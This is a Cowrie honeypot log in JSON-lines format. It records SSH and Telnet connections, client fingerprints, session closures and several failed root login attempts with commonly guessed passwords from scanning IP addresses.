{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.405677Z","src_ip":"159.65.8.74","session":"363a1ac14502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.511702Z","src_ip":"37.143.61.241","session":"a40ffd96a695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:29.662764Z","src_ip":"159.65.8.74","session":"363a1ac14502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:30.595766Z","src_ip":"37.143.61.241","session":"a40ffd96a695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.4532208442688,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:30.708539Z","src_ip":"152.42.224.71","session":"ef6814e42b69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tech$123","message":"login attempt [root/Tech$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:30.721313Z","src_ip":"159.65.8.74","session":"363a1ac14502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.45942211151123,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:31.773695Z","src_ip":"152.42.224.71","session":"fdc0eeba7146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:31.977981Z","src_ip":"159.65.8.74","session":"363a1ac14502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ac3e43c2f8","protocol":"telnet","message":"New connection: 152.42.224.71:38888 (10.17.0.5:23) [session: d3ac3e43c2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:33.413975Z"}
{"eventid":"cowrie.session.closed","duration":42.42642307281494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:39.311351Z","src_ip":"152.42.224.71","session":"8e2e4dba5f83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00361776351929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:42.220281Z","src_ip":"152.42.224.71","session":"5db556023762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56920,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d7c735cb740","protocol":"telnet","message":"New connection: 152.42.224.71:56920 (10.17.0.5:23) [session: 9d7c735cb740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:43.390853Z"}
{"eventid":"cowrie.session.closed","duration":120.00427651405334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:46.270180Z","src_ip":"152.42.224.71","session":"0ecacd8db20a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":56894,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a52464c5972","protocol":"ssh","message":"New connection: 43.130.35.229:56894 (159.203.135.109:22) [session: 3a52464c5972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:51.903165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:51.908119Z","src_ip":"43.130.35.229","session":"3a52464c5972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:51.977621Z","src_ip":"43.130.35.229","session":"3a52464c5972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:52.288193Z","src_ip":"43.130.35.229","session":"3a52464c5972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.20339369773865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:52.578328Z","src_ip":"152.42.224.71","session":"e486e52963d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:53.360415Z","src_ip":"43.130.35.229","session":"3a52464c5972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33568,"dst_ip":"10.17.0.5","dst_port":23,"session":"2699c1b6b14c","protocol":"telnet","message":"New connection: 152.42.224.71:33568 (10.17.0.5:23) [session: 2699c1b6b14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:53.883103Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc3c5a0111e","protocol":"ssh","message":"New connection: 43.133.34.13:41732 (159.203.135.109:22) [session: cdc3c5a0111e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:57.387889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:57.393309Z","src_ip":"43.133.34.13","session":"cdc3c5a0111e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:57.635530Z","src_ip":"43.133.34.13","session":"cdc3c5a0111e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":37718,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4559bbe0f6","protocol":"ssh","message":"New connection: 45.78.230.231:37718 (10.17.0.5:22) [session: 6b4559bbe0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:57.642885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:57.648036Z","src_ip":"45.78.230.231","session":"6b4559bbe0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing","message":"login attempt [root/jingjing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:58.618280Z","src_ip":"43.133.34.13","session":"cdc3c5a0111e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":57866,"dst_ip":"10.17.0.5","dst_port":22,"session":"83dc076d98f1","protocol":"ssh","message":"New connection: 181.47.9.103:57866 (10.17.0.5:22) [session: 83dc076d98f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:58.843779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:58.848486Z","src_ip":"181.47.9.103","session":"83dc076d98f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:58.993002Z","src_ip":"181.47.9.103","session":"83dc076d98f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile321","message":"login attempt [root/smile321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:59.599249Z","src_ip":"181.47.9.103","session":"83dc076d98f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:26:59.859540Z","src_ip":"43.133.34.13","session":"cdc3c5a0111e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:00.598683Z","src_ip":"45.78.230.231","session":"6b4559bbe0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:00.606609Z","src_ip":"45.78.230.231","session":"6b4559bbe0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:00.755564Z","src_ip":"181.47.9.103","session":"83dc076d98f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0422df64eaf","protocol":"telnet","message":"New connection: 152.42.224.71:44318 (10.17.0.5:23) [session: b0422df64eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:12.331496Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"564d6bbe1e16","protocol":"telnet","message":"New connection: 152.42.224.71:44330 (10.17.0.5:23) [session: 564d6bbe1e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:15.733617Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49538,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b8e93f37db","protocol":"ssh","message":"New connection: 185.236.22.41:49538 (159.203.135.109:22) [session: 39b8e93f37db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:15.766371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:15.771915Z","src_ip":"185.236.22.41","session":"39b8e93f37db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:15.891132Z","src_ip":"185.236.22.41","session":"39b8e93f37db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentina","message":"login attempt [root/valentina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:16.263073Z","src_ip":"185.236.22.41","session":"39b8e93f37db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:17.392391Z","src_ip":"185.236.22.41","session":"39b8e93f37db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":48370,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bcfcd092b72","protocol":"ssh","message":"New connection: 72.52.132.30:48370 (159.203.135.109:22) [session: 1bcfcd092b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:20.006641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:20.011577Z","src_ip":"72.52.132.30","session":"1bcfcd092b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:20.044706Z","src_ip":"72.52.132.30","session":"1bcfcd092b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:20.213035Z","src_ip":"72.52.132.30","session":"1bcfcd092b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:21.267887Z","src_ip":"72.52.132.30","session":"1bcfcd092b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52610,"dst_ip":"10.17.0.5","dst_port":23,"session":"341bbdd82488","protocol":"telnet","message":"New connection: 152.42.224.71:52610 (10.17.0.5:23) [session: 341bbdd82488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:24.068800Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c1525874bb5","protocol":"telnet","message":"New connection: 152.42.224.71:52614 (10.17.0.5:23) [session: 8c1525874bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:25.427437Z"}
{"eventid":"cowrie.session.closed","duration":56.27610111236572,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:29.689967Z","src_ip":"152.42.224.71","session":"d3ac3e43c2f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":41492,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de72170068a","protocol":"ssh","message":"New connection: 37.143.61.241:41492 (159.203.135.109:22) [session: 4de72170068a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:32.077137Z"}
